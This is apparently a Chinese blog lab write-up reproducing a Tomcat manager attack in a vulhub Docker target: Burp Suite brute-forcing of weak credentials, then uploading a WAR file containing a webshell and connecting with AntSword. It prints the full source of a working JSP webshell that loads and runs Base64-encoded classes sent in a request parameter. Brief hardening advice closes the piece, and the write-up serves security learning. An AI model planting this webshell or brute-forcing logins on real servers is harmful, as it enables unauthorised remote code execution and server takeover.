Tomcat后台管理漏洞复现(弱口令+上传webshell)

#免责声明:
本文属于个人笔记,仅用于学习,禁止使用于任何违法行为,任何违法行为与本人无关。


目录

漏洞简介

漏洞实验版本

环境搭建

漏洞复现

漏洞防御


漏洞简介

Tomcat有一个管理后台,其用户名和密码在Tomcat安装目录下的conf omcat-users.xml文件中配置,不少管理员为了方便,经常采用弱口令。 Tomcat 支持在后台部署war包,可以直接将webshell部署到web目录下,如果tomcat后台管理用户存在弱口令,这很容易被利用上传webshell。

conf/tomcat-users.xml文件中配置用户的权限:




    
    
    
    
    
    
    
    

可见,用户tomcat拥有上述所有权限,密码是tomcat

正常安装的情况下,tomcat8中默认没有任何用户,且manager页面只允许本地IP访问。只有管理员手工修改了这些属性的情况下,才可以进行攻击。

漏洞实验版本

Apache Tomcat 8

环境搭建

1.使用ubuntu打开vulhub中的tomcat/tomcat8目录,拉取镜像。

docker-compose up -d

Tomcat后台管理漏洞复现(弱口令+上传webshell)_第1张图片

2.查看环境

docker ps

54887ac1fdbf4871ba34e549d85c26a9.png

3访问http://your-ip:8080即可查看tomcat默认页面(此处靶机IP:192.168.1.3)

Tomcat后台管理漏洞复现(弱口令+上传webshell)_第2张图片

漏洞复现

1.访问 http://靶机IP:8080/manager/html ,输入弱密码tomcat:tomcat(已知),登陆后台。

Tomcat后台管理漏洞复现(弱口令+上传webshell)_第3张图片

当然,如果是一个未知的后台登录,且可能存在弱口令,则使用Burp Suite进行抓包暴力破解,下面简单进行演示。

1.1打开代理和Burp Suite

Tomcat后台管理漏洞复现(弱口令+上传webshell)_第4张图片

Tomcat后台管理漏洞复现(弱口令+上传webshell)_第5张图片

1.2访问http://靶机IP:8080/manager/html,随意输入账号密码,进行抓包拦截。

Tomcat后台管理漏洞复现(弱口令+上传webshell)_第6张图片

可以看到账号密码进行了Base64编码

Tomcat后台管理漏洞复现(弱口令+上传webshell)_第7张图片

1.3将抓到的包发送到爆破模块,快捷键ctrl+i,正常来说是用常见的弱口令字典去爆破,或者更强大的字典进行爆破,为了节省时间,这里就随便输入了几个账号密码。

Tomcat后台管理漏洞复现(弱口令+上传webshell)_第8张图片

1.4Payload type 选择 Custom iterator ,设置三个 position 1 为用户字典, 2 : 3 为密码字典,并增加 Payload Processing Base64-encode 如下:

Tomcat后台管理漏洞复现(弱口令+上传webshell)_第9张图片

Tomcat后台管理漏洞复现(弱口令+上传webshell)_第10张图片

1.5使用Base64编码提交,由于Burpsuite会自动将符号进行 url 编码,这里需要将 Payload Encoding 的勾给去掉

Tomcat后台管理漏洞复现(弱口令+上传webshell)_第11张图片

1.6最后发现会破解成功,然后登录后台。

Tomcat后台管理漏洞复现(弱口令+上传webshell)_第12张图片

2.观察后台页面,发现一个上传war文件的地方

war 包是 Sun 提出的一种 web 应用程序格式。它与 jar 类似,是很多文件的压缩包。war 包中的文件按照一定目录结构来组织。

一般其根目录下包含有 html 和 jsp 文件,或者包含有这两种文件的目录,另外还有 WEB-INF 目录。通常在 WEB-INF 目录下含有一个 web.xml 文件和一个 classes 目录。web.xml 是这个应用的配置文件,而 classes 目录下则包含编译好的 servlet 类和 jsp,或者 servlet 所依赖的其他类(如 JavaBean)。通常这些所依赖的类也可以打包成 jar 包放在 WEB-INF 下的 lib 目录下。

Tomcat后台管理漏洞复现(弱口令+上传webshell)_第13张图片

3.将一个冰蝎jsp马添加到压缩包中,更改压缩后缀为.war,完成后上传。

压缩成war的三种方式(点我查看)

<%!
      class U extends ClassLoader {
		  U(ClassLoader c){
			  super(c);
		  }
		  public Class g(byte[] b){
			  return super.defineClass(b,0,b.length);
		  }
	  }
	 public byte[] base64Decode(String str) throws Exception{
		 try{
			 Class clazz =Class.forName("sun.misc.BASE64Decoder");
			 return (byte[]) clazz.getMethod("decodeBuffer",String.class).invoke(clazz.newInstance(),str);
		 }catch (Exception e){
			 Class clazz =Class.forName("java.util.Base64");
			 Object decoder =clazz.getMethod("getDecoder").invoke(null);
			 return(byte[])decoder.getClass().getMethod("decode",String.class).invoke(decoder,str);
		 }
	 }
%>
<% 
       String cls =request.getParameter("cmd");
       if(cls != null){
         new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);	 
 }
%>

Tomcat后台管理漏洞复现(弱口令+上传webshell)_第14张图片

4.将木马上传到Tomcat Web应用程序,查看后台应用程序,发现上传的war文件:shell.war

fff7706126304e2fabaaf871dd9a7d44.pngTomcat后台管理漏洞复现(弱口令+上传webshell)_第15张图片

5.访问上传的shell.jsp,若网站正常响应,则上传成功,否则失败。

Tomcat后台管理漏洞复现(弱口令+上传webshell)_第16张图片

6.使用中国蚁剑连接

Tomcat后台管理漏洞复现(弱口令+上传webshell)_第17张图片Tomcat后台管理漏洞复现(弱口令+上传webshell)_第18张图片

连接成功

7.关闭实验环境

docker-compose down

Tomcat后台管理漏洞复现(弱口令+上传webshell)_第19张图片

漏洞防御

1. 若无必要,取消manager/html功能。
2. 若要使用,manager页面应只允许本地IP访问

你可能感兴趣的:(vulhub,网络安全,apache,tomcat,web安全,安全)